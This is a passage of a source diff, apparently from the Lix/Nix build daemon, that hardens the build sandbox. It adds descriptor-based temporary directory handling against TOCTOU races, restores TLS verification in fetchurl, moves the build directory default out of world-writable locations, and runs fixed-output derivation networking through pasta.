nixBuildsTmp
);
worker.buildDirOverride = nixBuildsTmp;
tmpDir = createTempDir(
nixBuildsTmp, "nix-build-" + std::string(drvPath.name()), false, false, 0700
);
}
/* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
* POSIX semantics.*/
tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
if (!tmpDirFd)
throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
chownToBuilder(tmpDirFd);
for (auto & [outputName, status] : initialOutputs) { for (auto & [outputName, status] : initialOutputs) {
/* Set scratch path we'll actually use during the build. /* Set scratch path we'll actually use during the build.
@@ -820,8 +864,13 @@ void LocalDerivationGoal::initTmpDir() {
auto hash = hashString(HashType::SHA256, i.first); auto hash = hashString(HashType::SHA256, i.first);
std::string fn = ".attr-" + hash.to_string(Base::Base32, false); std::string fn = ".attr-" + hash.to_string(Base::Base32, false);
Path p = tmpDir + "/" + fn; Path p = tmpDir + "/" + fn;
writeFile(p, rewriteStrings(i.second, inputRewrites)); /* TODO(jade): we should have BorrowedFD instead of OwnedFD. */
chownToBuilder(p); AutoCloseFD passAsFileFd{openat(tmpDirFd.get(), fn.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
if (!passAsFileFd) {
throw SysError("opening `passAsFile` file in the sandbox '%1%'", p);
}
writeFile(passAsFileFd, rewriteStrings(i.second, inputRewrites));
chownToBuilder(passAsFileFd);
env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
} }
} }
@@ -1348,6 +1397,13 @@ void LocalDerivationGoal::chownToBuilder(const Path & path)
throw SysError("cannot change ownership of '%1%'", path); throw SysError("cannot change ownership of '%1%'", path);
} }
void LocalDerivationGoal::chownToBuilder(const AutoCloseFD & fd)
{
if (!buildUser) return;
if (fchown(fd.get(), buildUser->getUID(), buildUser->getGID()) == -1)
throw SysError("cannot change ownership of file '%1%'", fd.guessOrInventPath());
}
void LocalDerivationGoal::runChild() void LocalDerivationGoal::runChild()
{ {
@@ -1364,13 +1420,20 @@ void LocalDerivationGoal::runChild()
bool setUser = true; bool setUser = true;
/* Make the contents of netrc available to builtin:fetchurl /* Make the contents of netrc and the CA certificate bundle
(which may run under a different uid and/or in a sandbox). */ available to builtin:fetchurl (which may run under a
different uid and/or in a sandbox). */
std::string netrcData; std::string netrcData;
try { std::string caFileData;
if (drv->isBuiltin() && drv->builder == "builtin:fetchurl" && !derivationType->isSandboxed()) if (drv->isBuiltin() && drv->builder == "builtin:fetchurl" && !derivationType->isSandboxed()) {
try {
netrcData = readFile(settings.netrcFile); netrcData = readFile(settings.netrcFile);
} catch (SysError &) { } } catch (SysError &) { }
try {
caFileData = readFile(settings.caFile);
} catch (SysError &) { }
}
#if __linux__ #if __linux__
if (useChroot) { if (useChroot) {
@@ -1468,7 +1531,7 @@ void LocalDerivationGoal::runChild()
/* N.B. it is realistic that these paths might not exist. It /* N.B. it is realistic that these paths might not exist. It
happens when testing Nix building fixed-output derivations happens when testing Nix building fixed-output derivations
within a pure derivation. */ within a pure derivation. */
for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" }) for (auto & path : { "/etc/services", "/etc/hosts" })
if (pathExists(path)) { if (pathExists(path)) {
// Copy the actual file, not the symlink, because we don't know where // Copy the actual file, not the symlink, because we don't know where
// the symlink is pointing, and we don't want to chase down the entire // the symlink is pointing, and we don't want to chase down the entire
@@ -1489,6 +1552,11 @@ void LocalDerivationGoal::runChild()
copyFile(path, chrootRootDir + path, { .followSymlinks = true }); copyFile(path, chrootRootDir + path, { .followSymlinks = true });
} }
if (pathExists("/etc/resolv.conf")) {
const auto resolvConf = rewriteResolvConf(readFile("/etc/resolv.conf"));
writeFile(chrootRootDir + "/etc/resolv.conf", resolvConf);
}
if (settings.caFile != "" && pathExists(settings.caFile)) { if (settings.caFile != "" && pathExists(settings.caFile)) {
// For the same reasons as above, copy the CA certificates file too. // For the same reasons as above, copy the CA certificates file too.
// It should be even less likely to change during the build than resolv.conf. // It should be even less likely to change during the build than resolv.conf.
@@ -1610,6 +1678,36 @@ void LocalDerivationGoal::runChild()
if (setuid(sandboxUid()) == -1) if (setuid(sandboxUid()) == -1)
throw SysError("setuid failed"); throw SysError("setuid failed");
if (runPasta) {
// wait for the pasta interface to appear. pasta can't signal us when
// it's done setting up the namespace, so we have to wait for a while
AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
if (!fd) throw SysError("cannot open IP socket");
struct ifreq ifr;
strcpy(ifr.ifr_name, LinuxLocalDerivationGoal::PASTA_NS_IFNAME);
// wait two minutes for the interface to appear. if it does not do so
// we are either grossly overloaded, or pasta startup failed somehow.
static constexpr int SINGLE_WAIT_US = 1000;
static constexpr int TOTAL_WAIT_US = 120'000'000;
for (unsigned tries = 0; ; tries++) {
if (tries > TOTAL_WAIT_US / SINGLE_WAIT_US) {
throw Error(
"sandbox network setup timed out, please check daemon logs for "
"possible error output."
);
} else if (ioctl(fd.get(), SIOCGIFFLAGS, &ifr) == 0) {
if ((ifr.ifr_ifru.ifru_flags & IFF_UP) != 0) {
break;
}
} else if (errno == ENODEV) {
usleep(SINGLE_WAIT_US);
} else {
throw SysError("cannot get loopback interface flags");
}
}
}
setUser = false; setUser = false;
} }
#endif #endif
@@ -1772,6 +1870,8 @@ void LocalDerivationGoal::runChild()
if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") { if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") {
Strings sandboxArgs; Strings sandboxArgs;
sandboxArgs.push_back("_NIX_BUILD_TOP");
sandboxArgs.push_back(tmpDir);
sandboxArgs.push_back("_GLOBAL_TMP_DIR"); sandboxArgs.push_back("_GLOBAL_TMP_DIR");
sandboxArgs.push_back(globalTmpDir); sandboxArgs.push_back(globalTmpDir);
if (allowLocalNetworking) { if (allowLocalNetworking) {
@@ -1805,7 +1905,7 @@ void LocalDerivationGoal::runChild()
e.second = rewriteStrings(e.second, inputRewrites); e.second = rewriteStrings(e.second, inputRewrites);
if (drv->builder == "builtin:fetchurl") if (drv->builder == "builtin:fetchurl")
builtinFetchurl(drv2, netrcData); builtinFetchurl(drv2, netrcData, caFileData);
else if (drv->builder == "builtin:buildenv") else if (drv->builder == "builtin:buildenv")
builtinBuildenv(drv2); builtinBuildenv(drv2);
else if (drv->builder == "builtin:unpack-channel") else if (drv->builder == "builtin:unpack-channel")
+29 -1
View File
@@ -31,6 +31,11 @@ struct LocalDerivationGoal : public DerivationGoal
*/ */
Path tmpDir; Path tmpDir;
/**
* The temporary directory file descriptor
*/
AutoCloseFD tmpDirFd;
/** /**
* The path of the temporary directory in the sandbox. * The path of the temporary directory in the sandbox.
*/ */
@@ -244,10 +249,18 @@ struct LocalDerivationGoal : public DerivationGoal
void addDependency(const StorePath & path); void addDependency(const StorePath & path);
/** /**
* Make a file owned by the builder. * Make a file owned by the builder addressed by its path.
*
* SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
* It's only safe to call in a child of a directory only visible to the owner.
*/ */
void chownToBuilder(const Path & path); void chownToBuilder(const Path & path);
/**
* Make a file owned by the builder addressed by its file descriptor.
*/
void chownToBuilder(const AutoCloseFD & fd);
int getChildStatus() override; int getChildStatus() override;
/** /**
@@ -324,6 +337,12 @@ struct LocalDerivationGoal : public DerivationGoal
protected: protected:
using DerivationGoal::DerivationGoal; using DerivationGoal::DerivationGoal;
/**
* Whether to run pasta for network-endowed derivations. Running pasta
* currently requires actively waiting for its net-ns setup to finish.
*/
bool runPasta = false;
/** /**
* Setup dependencies outside the sandbox. * Setup dependencies outside the sandbox.
* Called in the parent nix process. * Called in the parent nix process.
@@ -333,6 +352,15 @@ protected:
throw Error("sandboxing builds is not supported on this platform"); throw Error("sandboxing builds is not supported on this platform");
}; };
/**
* Rewrite resolv.conf for use in the sandbox. Used in the linux platform
* to replace nameservers * when using pasta for fixed output derivations.
*/
virtual std::string rewriteResolvConf(std::string fromHost)
{
return fromHost;
}
/** /**
* Create a new process that runs `openSlave` and `runChild` * Create a new process that runs `openSlave` and `runChild`
* On some platforms this process is created with sandboxing flags. * On some platforms this process is created with sandboxing flags.
+4 -2
View File
@@ -26,12 +26,14 @@ R""(
; Allow getpwuid. ; Allow getpwuid.
(allow mach-lookup (global-name "com.apple.system.opendirectoryd.libinfo")) (allow mach-lookup (global-name "com.apple.system.opendirectoryd.libinfo"))
; Access to /tmp. ; Access to /tmp and the build directory.
; The network-outbound/network-inbound ones are for unix domain sockets, which ; The network-outbound/network-inbound ones are for unix domain sockets, which
; we allow access to in TMPDIR (but if we allow them more broadly, you could in ; we allow access to in TMPDIR (but if we allow them more broadly, you could in
; theory escape the sandbox) ; theory escape the sandbox)
(allow file* process-exec network-outbound network-inbound (allow file* process-exec network-outbound network-inbound
(literal "/tmp") (subpath TMPDIR)) (literal "/tmp")
(subpath TMPDIR)
(subpath (param "_NIX_BUILD_TOP")))
; Some packages like to read the system version. ; Some packages like to read the system version.
(allow file-read* (allow file-read*
+1
View File
@@ -161,6 +161,7 @@ public:
Store & store; Store & store;
Store & evalStore; Store & evalStore;
std::optional<Path> buildDirOverride;
struct HookState { struct HookState {
std::unique_ptr<HookInstance> instance; std::unique_ptr<HookInstance> instance;
+1 -1
View File
@@ -6,7 +6,7 @@
namespace nix { namespace nix {
// TODO: make pluggable. // TODO: make pluggable.
void builtinFetchurl(const BasicDerivation & drv, const std::string & netrcData); void builtinFetchurl(const BasicDerivation & drv, const std::string & netrcData, const std::string & caFileData);
void builtinUnpackChannel(const BasicDerivation & drv); void builtinUnpackChannel(const BasicDerivation & drv);
} }
+4 -4
View File
@@ -6,7 +6,7 @@
namespace nix { namespace nix {
void builtinFetchurl(const BasicDerivation & drv, const std::string & netrcData) void builtinFetchurl(const BasicDerivation & drv, const std::string & netrcData, const std::string & caFileData)
{ {
/* Make the host's netrc data available. Too bad curl requires /* Make the host's netrc data available. Too bad curl requires
this to be stored in a file. It would be nice if we could just this to be stored in a file. It would be nice if we could just
@@ -16,6 +16,9 @@ void builtinFetchurl(const BasicDerivation & drv, const std::string & netrcData)
writeFile(settings.netrcFile, netrcData, 0600); writeFile(settings.netrcFile, netrcData, 0600);
} }
settings.caFile = "ca-certificates.crt";
writeFile(settings.caFile, caFileData, 0600);
auto getAttr = [&](const std::string & name) { auto getAttr = [&](const std::string & name) {
auto i = drv.env.find(name); auto i = drv.env.find(name);
if (i == drv.env.end()) throw Error("attribute '%s' missing", name); if (i == drv.env.end()) throw Error("attribute '%s' missing", name);
@@ -32,10 +35,7 @@ void builtinFetchurl(const BasicDerivation & drv, const std::string & netrcData)
auto fetch = [&](const std::string & url) { auto fetch = [&](const std::string & url) {
/* No need to do TLS verification, because we check the hash of
the result anyway. */
FileTransferRequest request(url); FileTransferRequest request(url);
request.verifyTLS = false;
auto raw = fileTransfer->download(std::move(request)); auto raw = fileTransfer->download(std::move(request));
auto decompressor = makeDecompressionSource( auto decompressor = makeDecompressionSource(
+5 -1
View File
@@ -78,6 +78,9 @@ Settings::Settings()
#if defined(__linux__) && defined(SANDBOX_SHELL) #if defined(__linux__) && defined(SANDBOX_SHELL)
sandboxPaths = tokenizeString<StringSet>("/bin/sh=" SANDBOX_SHELL); sandboxPaths = tokenizeString<StringSet>("/bin/sh=" SANDBOX_SHELL);
#endif #endif
#if defined(__linux__) && defined(PASTA_PATH)
pastaPath.setDefault(PASTA_PATH);
#endif
/* chroot-like behavior from Apple's sandbox */ /* chroot-like behavior from Apple's sandbox */
#if __APPLE__ #if __APPLE__
@@ -233,7 +236,8 @@ StringSet Settings::getDefaultExtraPlatforms()
// x86_64 in aarch64 environments or vice versa since they can // x86_64 in aarch64 environments or vice versa since they can
// always exec with their own binary preferences. // always exec with their own binary preferences.
if (std::string{SYSTEM} == "aarch64-darwin" && if (std::string{SYSTEM} == "aarch64-darwin" &&
runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"}, .mergeStderrToStdout = true}).first == 0) runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"},
.redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}}).first == 0)
extraPlatforms.insert("x86_64-darwin"); extraPlatforms.insert("x86_64-darwin");
#endif #endif
+22 -3
View File
@@ -561,6 +561,16 @@ public:
)", )",
{"build-chroot-dirs", "build-sandbox-paths"}}; {"build-chroot-dirs", "build-sandbox-paths"}};
#if defined(__linux__)
Setting<Path> pastaPath{this, "", "pasta-path",
R"(
If set to an absolute path, enables fully sandboxing fixed-output
derivations, by using `pasta` to pass network traffic between the
private network namespace. This allows for greater levels of isolation
of builds to the host.
)"};
#endif
Setting<bool> sandboxFallback{this, true, "sandbox-fallback", Setting<bool> sandboxFallback{this, true, "sandbox-fallback",
"Whether to disable sandboxing when the kernel doesn't allow it."}; "Whether to disable sandboxing when the kernel doesn't allow it."};
@@ -604,16 +614,25 @@ public:
)"}; )"};
#endif #endif
Setting<std::optional<Path>> buildDir{this, std::nullopt, "build-dir", Setting<Path> buildDir{this, nixStateDir + "/builds", "build-dir",
R"( R"(
The directory on the host, in which derivations' temporary build directories are created. The directory on the host, in which derivations' temporary build directories are created.
If not set, Nix will use the system temporary directory indicated by the `TMPDIR` environment variable. If not set, Lix will use the `builds` subdirectory of its configured state directory.
Note that builds are often performed by the Nix daemon, so its `TMPDIR` is used, and not that of the Nix command line interface. Lix will create this directory automatically with suitable permissions if it does not
exist, otherwise its permissions must allow all users to traverse the directory (i.e.
it must have `o+x` set, in unix parlance) for non-sandboxed builds to work correctly.
This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files. This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files.
If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir). If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir).
> Important:
>
> `build-dir` must not be set to a world-writable directory. Placing temporary build
> directories in a world-writable place allows other users to access or modify build
> data that is currently in use. This alone is merely an impurity, but combined with
> another factor this has allowed malicious derivations to escape the build sandbox.
)"}; )"};
Setting<PathSet> allowedImpureHostPrefixes{this, {}, "allowed-impure-host-deps", Setting<PathSet> allowedImpureHostPrefixes{this, {}, "allowed-impure-host-deps",
+3 -3
View File
@@ -167,7 +167,7 @@ void migrateCASchema(SQLite& db, Path schemaPath, AutoCloseFD& lockFd)
txn.commit(); txn.commit();
} }
writeFile(schemaPath, fmt("%d", nixCASchemaVersion), 0666, true); writeFileAndSync(schemaPath, fmt("%d", nixCASchemaVersion), 0666);
lockFile(lockFd.get(), ltRead, true); lockFile(lockFd.get(), ltRead, true);
} }
} }
@@ -304,7 +304,7 @@ LocalStore::LocalStore(const Params & params)
else if (curSchema == 0) { /* new store */ else if (curSchema == 0) { /* new store */
curSchema = nixSchemaVersion; curSchema = nixSchemaVersion;
openDB(*state, true); openDB(*state, true);
writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666);
} }
else if (curSchema < nixSchemaVersion) { else if (curSchema < nixSchemaVersion) {
@@ -353,7 +353,7 @@ LocalStore::LocalStore(const Params & params)
txn.commit(); txn.commit();
} }
writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666);
lockFile(globalLock.get(), ltRead, true); lockFile(globalLock.get(), ltRead, true);
} }
+6
View File
@@ -197,6 +197,12 @@ if busybox.found()
} }
endif endif
if pasta.found()
cpp_str_defines += {
'PASTA_PATH': pasta.full_path(),
}
endif
cpp_args = [] cpp_args = []
foreach name, value : cpp_str_defines foreach name, value : cpp_str_defines
+130 -4
View File
@@ -1,15 +1,25 @@
#include "build/worker.hh" #include "build/worker.hh"
#include "cgroup.hh" #include "cgroup.hh"
#include "file-descriptor.hh"
#include "file-system.hh"
#include "finally.hh" #include "finally.hh"
#include "gc-store.hh" #include "gc-store.hh"
#include "processes.hh"
#include "signals.hh" #include "signals.hh"
#include "platform/linux.hh" #include "platform/linux.hh"
#include "regex.hh" #include "regex.hh"
#include "strings.hh"
#include <csignal>
#include <cstdlib>
#include <grp.h> #include <grp.h>
#include <regex> #include <regex>
#include <sys/prctl.h> #include <sys/prctl.h>
#if __linux__
#include <linux/capability.h>
#endif
#if HAVE_SECCOMP #if HAVE_SECCOMP
#include <linux/filter.h> #include <linux/filter.h>
#include <seccomp.h> #include <seccomp.h>
@@ -57,6 +67,14 @@ static void readFileRoots(const char * path, UncheckedRoots & roots)
} }
} }
LinuxLocalDerivationGoal::~LinuxLocalDerivationGoal()
{
// pasta being left around mostly happens when builds are aborted
if (pastaPid) {
pastaPid.kill();
}
}
void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked) void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked)
{ {
auto procDir = AutoCloseDir{opendir("/proc")}; auto procDir = AutoCloseDir{opendir("/proc")};
@@ -832,6 +850,26 @@ void LinuxLocalDerivationGoal::prepareSandbox()
} }
} }
std::string LinuxLocalDerivationGoal::rewriteResolvConf(std::string fromHost)
{
if (!runPasta) {
return fromHost;
}
static constexpr auto flags = std::regex::ECMAScript | std::regex::multiline;
static std::regex lineRegex("^nameserver\\s.*$", flags);
static std::regex v4Regex("^nameserver\\s+\\d{1,3}\\.", flags);
static std::regex v6Regex("^nameserver.*:", flags);
std::string nsInSandbox = "\n";
if (std::regex_search(fromHost, v4Regex)) {
nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV4);
}
if (std::regex_search(fromHost, v6Regex)) {
nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV6);
}
return std::regex_replace(fromHost, lineRegex, "") + nsInSandbox;
}
Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave) Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
{ {
#if HAVE_SECCOMP #if HAVE_SECCOMP
@@ -859,9 +897,11 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
- The private network namespace ensures that the builder - The private network namespace ensures that the builder
cannot talk to the outside world (or vice versa). It cannot talk to the outside world (or vice versa). It
only has a private loopback interface. (Fixed-output only has a private loopback interface. If a copy of
derivations are not run in a private network namespace `pasta` is available, Fixed-output derivations are run
to allow functions like fetchurl to work.) inside a private network namespace with internet
access, otherwise they are run in the host's network
namespace, to allow functions like fetchurl to work.
- The IPC namespace prevents the builder from communicating - The IPC namespace prevents the builder from communicating
with outside processes using SysV IPC mechanisms (shared with outside processes using SysV IPC mechanisms (shared
@@ -882,6 +922,10 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
if (derivationType->isSandboxed()) if (derivationType->isSandboxed())
privateNetwork = true; privateNetwork = true;
// don't launch pasta unless we have a tun device. in a build sandbox we
// commonly do not, and trying to run pasta anyway naturally won't work.
runPasta = !privateNetwork && settings.pastaPath != "" && pathExists("/dev/net/tun");
userNamespaceSync.create(); userNamespaceSync.create();
Pipe sendPid; Pipe sendPid;
@@ -906,7 +950,9 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
ProcessOptions options; ProcessOptions options;
options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD; options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD;
if (privateNetwork) // we always want to create a new network namespace for pasta, even when
// we can't actually run it. not doing so hides bugs and impairs purity.
if (settings.pastaPath != "" || privateNetwork)
options.cloneFlags |= CLONE_NEWNET; options.cloneFlags |= CLONE_NEWNET;
if (usingUserNamespace) if (usingUserNamespace)
options.cloneFlags |= CLONE_NEWUSER; options.cloneFlags |= CLONE_NEWUSER;
@@ -988,6 +1034,67 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
/* Signal the builder that we've updated its user namespace. */ /* Signal the builder that we've updated its user namespace. */
writeFull(userNamespaceSync.writeSide.get(), "1"); writeFull(userNamespaceSync.writeSide.get(), "1");
if (runPasta) {
// Bring up pasta, for handling FOD networking. We don't let it daemonize
// itself for process managements reasons and kill it manually when done.
// TODO add a new sandbox mode flag to disable all or parts of this?
Strings args = {
// clang-format off
"--quiet",
"--foreground",
"--config-net",
"--gateway", PASTA_HOST_IPV4,
"--address", PASTA_CHILD_IPV4, "--netmask", PASTA_IPV4_NETMASK,
"--dns-forward", PASTA_HOST_IPV4,
"--gateway", PASTA_HOST_IPV6,
"--address", PASTA_CHILD_IPV6,
"--dns-forward", PASTA_HOST_IPV6,
"--ns-ifname", PASTA_NS_IFNAME,
"--no-netns-quit",
"--netns", "/proc/self/fd/0",
// clang-format on
};
AutoCloseFD netns(open(fmt("/proc/%i/ns/net", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
if (!netns) {
throw SysError("failed to open netns");
}
AutoCloseFD userns;
if (usingUserNamespace) {
userns =
AutoCloseFD(open(fmt("/proc/%i/ns/user", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
if (!userns) {
throw SysError("failed to open userns");
}
args.push_back("--userns");
args.push_back("/proc/self/fd/1");
}
// FIXME ideally we want a notification when pasta exits, but we cannot do
// this at present. without such support we need to busy-wait for pasta to
// set up the namespace completely and time out after a while for the case
// of pasta launch failures. pasta logs go to syslog only for now as well.
pastaPid = runProgram2({
.program = settings.pastaPath,
.args = args,
.uid = useBuildUsers() ? std::optional(buildUser->getUID()) : std::nullopt,
.gid = useBuildUsers() ? std::optional(buildUser->getGID()) : std::nullopt,
// TODO these redirections are crimes. pasta closes all non-stdio file
// descriptors very early and lacks fd arguments for the namespaces we
// want it to join. we cannot have pasta join the namespaces via pids;
// doing so requires capabilities which pasta *also* drops very early.
.redirections = {
{.from = 0, .to = netns.get()},
{.from = 1, .to = userns ? userns.get() : 1},
},
.caps = getuid() == 0
? std::set<long>{CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE}
: std::set<long>{},
});
}
return pid; return pid;
} }
@@ -1002,5 +1109,24 @@ void LinuxLocalDerivationGoal::killSandbox(bool getStats)
} else { } else {
LocalDerivationGoal::killSandbox(getStats); LocalDerivationGoal::killSandbox(getStats);
} }
if (pastaPid) {
// FIXME we really want to send SIGTERM instead and wait for pasta to exit,
// but we do not have the infra for that right now. we send SIGKILL instead
// and treat exiting with that as a successful exit code until such a time.
// this is not likely to cause problems since pasta runs as the build user,
// but not inside the build sandbox. if it's killed it's either due to some
// external influence (in which case the sandboxed child will probably fail
// due to network errors, if it used the network at all) or some bug in lix
if (auto status = pastaPid.kill(); !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) {
if (WIFSIGNALED(status)) {
throw Error("pasta killed by signal %i", WTERMSIG(status));
} else if (WIFEXITED(status)) {
throw Error("pasta exited with code %i", WEXITSTATUS(status));
} else {
throw Error("pasta exited with status %i", status);
}
}
}
} }
} }
+18
View File
@@ -4,6 +4,7 @@
#include "build/local-derivation-goal.hh" #include "build/local-derivation-goal.hh"
#include "gc-store.hh" #include "gc-store.hh"
#include "local-store.hh" #include "local-store.hh"
#include "processes.hh"
namespace nix { namespace nix {
@@ -41,7 +42,23 @@ class LinuxLocalDerivationGoal : public LocalDerivationGoal
public: public:
using LocalDerivationGoal::LocalDerivationGoal; using LocalDerivationGoal::LocalDerivationGoal;
~LinuxLocalDerivationGoal();
// NOTE these are all C strings because macos doesn't have constexpr std::string
// constructors, and std::string_view is a pain to turn into std::strings again.
static constexpr const char * PASTA_NS_IFNAME = "eth0";
static constexpr const char * PASTA_HOST_IPV4 = "169.254.1.1";
static constexpr const char * PASTA_CHILD_IPV4 = "169.254.1.2";
static constexpr const char * PASTA_IPV4_NETMASK = "16";
// randomly chosen 6to4 prefix, mapping the same ipv4ll as above.
// even if this id is used on the daemon host there should not be
// any collisions since ipv4ll should never be addressed by ipv6.
static constexpr const char * PASTA_HOST_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0101";
static constexpr const char * PASTA_CHILD_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0102";
private: private:
RunningProgram pastaPid;
/** /**
* Create and populate chroot * Create and populate chroot
*/ */
@@ -70,6 +87,7 @@ private:
return true; return true;
} }
std::string rewriteResolvConf(std::string fromHost) override;
}; };
} }
+2 -1
View File
@@ -4,6 +4,7 @@
#include "finally.hh" #include "finally.hh"
#include "logging.hh" #include "logging.hh"
#include "strings.hh" #include "strings.hh"
#include <unistd.h>
namespace nix { namespace nix {
@@ -49,7 +50,7 @@ bool SSHMaster::isMasterRunning() {
Strings args = {"-O", "check", host}; Strings args = {"-O", "check", host};
addCommonSSHOpts(args); addCommonSSHOpts(args);
auto res = runProgram(RunOptions {.program = "ssh", .args = args, .mergeStderrToStdout = true}); auto res = runProgram(RunOptions {.program = "ssh", .args = args, .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}});
return res.first == 0; return res.first == 0;
} }
+24 -1
View File
@@ -156,6 +156,29 @@ int AutoCloseFD::get() const
return fd; return fd;
} }
std::string guessOrInventPathFromFD(int fd)
{
assert(fd >= 0);
/* On Linux, there's no F_GETPATH available.
* But we can read /proc/ */
#if __linux__
try {
return readLink(fmt("/proc/self/fd/%1%", fd).c_str());
} catch (...) {
}
#elif defined (HAVE_F_GETPATH) && HAVE_F_GETPATH
std::string fdName(PATH_MAX, '\0');
if (fcntl(fd, F_GETPATH, fdName.data()) != -1) {
fdName.resize(strlen(fdName.c_str()));
return fdName;
}
#else
#error "No implementation for retrieving file descriptors path."
#endif
return fmt("<fd %i>", fd);
}
void AutoCloseFD::close() void AutoCloseFD::close()
{ {
@@ -228,7 +251,7 @@ void closeExtraFDs()
auto closeRange = [](unsigned int first, unsigned int last, int flags) -> int { auto closeRange = [](unsigned int first, unsigned int last, int flags) -> int {
// musl does not have close_range as of 2024-08-10 // musl does not have close_range as of 2024-08-10
// patch: https://www.openwall.com/lists/musl/2024/08/01/9 // patch: https://www.openwall.com/lists/musl/2024/08/01/9
#ifdef HAVE_CLOSE_RANGE #if HAVE_CLOSE_RANGE
return close_range(first, last, flags); return close_range(first, last, flags);
#else #else
return syscall(SYS_close_range, first, last, flags); return syscall(SYS_close_range, first, last, flags);
+18
View File
@@ -36,6 +36,15 @@ void writeFull(int fd, std::string_view s, bool allowInterrupts = true);
*/ */
std::string drainFD(int fd, bool block = true, const size_t reserveSize=0); std::string drainFD(int fd, bool block = true, const size_t reserveSize=0);
/*
* Will attempt to guess *A* path associated that might lead to the same file as used by this
* file descriptor.
*
* The returned string should NEVER be used as a valid path.
*/
std::string guessOrInventPathFromFD(int fd);
Generator<Bytes> drainFDSource(int fd, bool block = true); Generator<Bytes> drainFDSource(int fd, bool block = true);
class AutoCloseFD class AutoCloseFD
@@ -50,6 +59,15 @@ public:
AutoCloseFD& operator =(const AutoCloseFD & fd) = delete; AutoCloseFD& operator =(const AutoCloseFD & fd) = delete;
AutoCloseFD& operator =(AutoCloseFD&& fd) noexcept(false); AutoCloseFD& operator =(AutoCloseFD&& fd) noexcept(false);
int get() const; int get() const;
/*
* Will attempt to guess *A* path associated that might lead to the same file as used by this
* file descriptor.
*
* The returned string should NEVER be used as a valid path.
*/
std::string guessOrInventPath() const { return guessOrInventPathFromFD(fd); }
explicit operator bool() const; explicit operator bool() const;
int release(); int release();
void close(); void close();
+58 -22
View File
@@ -311,17 +311,47 @@ Generator<Bytes> readFileSource(const Path & path)
} }
void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) void writeFile(const Path & path, std::string_view s, mode_t mode)
{ {
AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)}; AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
if (!fd) if (!fd)
throw SysError("opening file '%1%'", path); throw SysError("opening file '%1%'", path);
writeFile(fd, s, mode);
/* Close explicitly to propagate the exceptions. */
fd.close();
}
void writeFile(AutoCloseFD & fd, std::string_view s, mode_t mode)
{
assert(fd);
try { try {
writeFull(fd.get(), s); writeFull(fd.get(), s);
} catch (Error & e) { } catch (Error & e) {
e.addTrace({}, "writing file '%1%'", path); e.addTrace({}, "writing file '%1%'", fd.guessOrInventPath());
throw; throw;
} }
}
void writeFileAndSync(const Path & path, std::string_view s, mode_t mode)
{
{
AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
if (!fd)
throw SysError("opening file '%1%'", path);
writeFile(fd, s, mode);
fd.fsync();
/* Close explicitly to ensure that exceptions are propagated. */
fd.close();
}
syncParent(path);
}
static void closeForWrite(const Path & path, AutoCloseFD & fd, bool sync)
{
if (sync) if (sync)
fd.fsync(); fd.fsync();
// Explicitly close to make sure exceptions are propagated. // Explicitly close to make sure exceptions are propagated.
@@ -330,8 +360,7 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
syncParent(path); syncParent(path);
} }
void writeFile(const Path & path, Source & source, mode_t mode)
void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
{ {
